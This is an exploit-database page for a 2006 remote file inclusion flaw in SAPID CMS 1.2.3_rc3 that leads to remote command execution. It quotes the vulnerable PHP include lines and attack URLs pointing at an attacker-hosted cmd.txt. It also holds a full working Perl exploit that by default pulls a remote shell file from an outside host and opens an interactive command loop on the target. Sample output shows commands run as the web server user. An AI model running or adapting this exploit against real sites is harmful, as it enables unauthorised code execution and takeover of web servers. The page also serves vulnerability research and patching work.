Lucene search
K

SAPID CMS <= 1.2.3_rc3 (rootpath) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

SAPID CMS Multiple Remote Code Execution Vulnerabilities. Exploit allows remote file inclusion and command execution via root_path parameter

Code

                                                #########################################################################
# Title: SAPID CMS Multiple remote Command Execution Vulnerabilities
#
# Author: Simo64 &#60;simo64_at_morx_org&#62;
# 
# Discovered: 06 Aout 2006
# 
# Published : 08 Aout 2006
# 
# MorX Security Research Team
# 
# http://www.morx.org
# 
# Vendor : SAPID CMS
#
# Version : 123 rc3 ()
# 
# Website : http://sapid.sourceforge.net
# 
# Severity: Critical
# 
# Details: 
# 
# 
# [+] Remote File Inclusion
# 
# 1) vulnerable code in usr/extensions/get_infochannel.inc.php lines( 8 - 9 )
# 
# if(!defined(&#34;common_extfunctions&#34;)) { define(&#34;common_extfunctions&#34;, &#34;loaded&#34;);
# include($root_path.&#34;usr/system/common_extfunctions.inc.php&#34;); }
#
# 2) vulnerable code in usr/extensions/get_tree.inc.php lines( 9 - 10 )
#
# if(!defined(&#34;common_extfunctions&#34;)) { define(&#34;common_extfunctions&#34;, &#34;loaded&#34;);
# include($GLOBALS[&#34;root_path&#34;].&#34;usr/system/common_extfunctions.inc.php&#34;); }
#
# $root_path , $GLOBALS[&#34;root_path&#34;] variable are not sanitized ,before it can be used to include files
# 
# [-] Exploit : 
# 
# http://localhost/usr/extensions/get_infochannel.inc.php?root_path=http://attacker/cmd.txt?cmd=id;pwd
# 
# http://localhost/usr/extensions/get_tree.inc.php?GLOBALS[&#34;root_path&#34;]=http://attacker/cmd.txt?cmd=id;pwd
#
#======================================
# Poc Remote Command Execution Exploit:
#======================================
#
# http://www.morx.org/sapid.txt
#
# C:\&#62;perl sapid.pl http://127.0.0.1
#
# ===============================================================
# =  SAPID 123_rc3 (rootpath) Remote Command Execution Exploit  =
# ===============================================================
# =       MorX Security Research Team - www.morx.org            =
# =       Coded by Simo64 - [email protected]                 =
# ===============================================================

# [email protected] :~$ id; ls
# uid=48(apache) gid=48(apache) groups=48(apache)
# get_calendar.inc.php
# get_filter_list.inc.php
# get_gb_records.inc.php
# get_infochannelfilter.inc.php
# get_infochannel.inc.php
# get_rss.inc.php
# get_searchresults.inc.php
# get_survey.inc.php
# get_track.inc.php
# get_tree.inc.php
# soap_call.inc.php
# [email protected] :~$ exit

# Enjoy !
#
#!/usr/bin/perl


use LWP::Simple;

print &#34;\n===============================================================\n&#34;;
print &#34;=  SAPID 123_rc3 (rootpath) Remote Command Execution Exploit  =\n&#34;;
print &#34;===============================================================\n&#34;;
print &#34;=       MorX Security Research Team - www.morx.org            =\n&#34;;
print &#34;=       Coded by Simo64 - simo64\@www.morx.org                 =\n&#34;; 
print &#34;===============================================================\n\n&#34;;

my $targ,$rsh,$path,$con,$cmd,$data,$getit ;

$targ = $ARGV[0];
$rsh  = $ARGV[1];

if(!$ARGV[1]) {$rsh = &#34;http://zerostag.free.fr/sh.txt&#34;;}

if(!@ARGV) { &usage;exit(0);}

	$targ = $ARGV[0];
	

	
	chomp($targ);
    chomp($rsh);
    
	$path = $targ.&#34;/usr/extensions/get_infochannel.inc.php&#34;;
	$con  = get($path) || die &#34;[-]Cannot connect to Host&#34;; 

sub usage(){
	print &#34;Usage    : perl $0 host/path [OPTION]\n\n&#34;;
	print &#34;Exemples : perl $0 http://127.0.0.1\n&#34;;
	print &#34;           perl $0 http://127.0.0.1 http://yoursite/yourcmd.txt\n\n&#34;;
	}

while ()  
{  
	 print &#34;simo64\@morx.org :~\$ &#34;;
	 chomp($cmd=&#60;STDIN&#62;);
     if ($cmd eq &#34;exit&#34;) { print &#34;\nEnjoy !\n\n&#34;;exit(0);}
     $getit = $path.&#34;?root_path=&#34;.$rsh.&#34;?&cmd=&#34;.$cmd;
     $data=get($getit);
     if($cmd eq &#34;&#34;){ print &#34;Please enter command !\n&#34;; }
     else{ print $data ;}
}

# milw0rm.com [2006-08-10]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation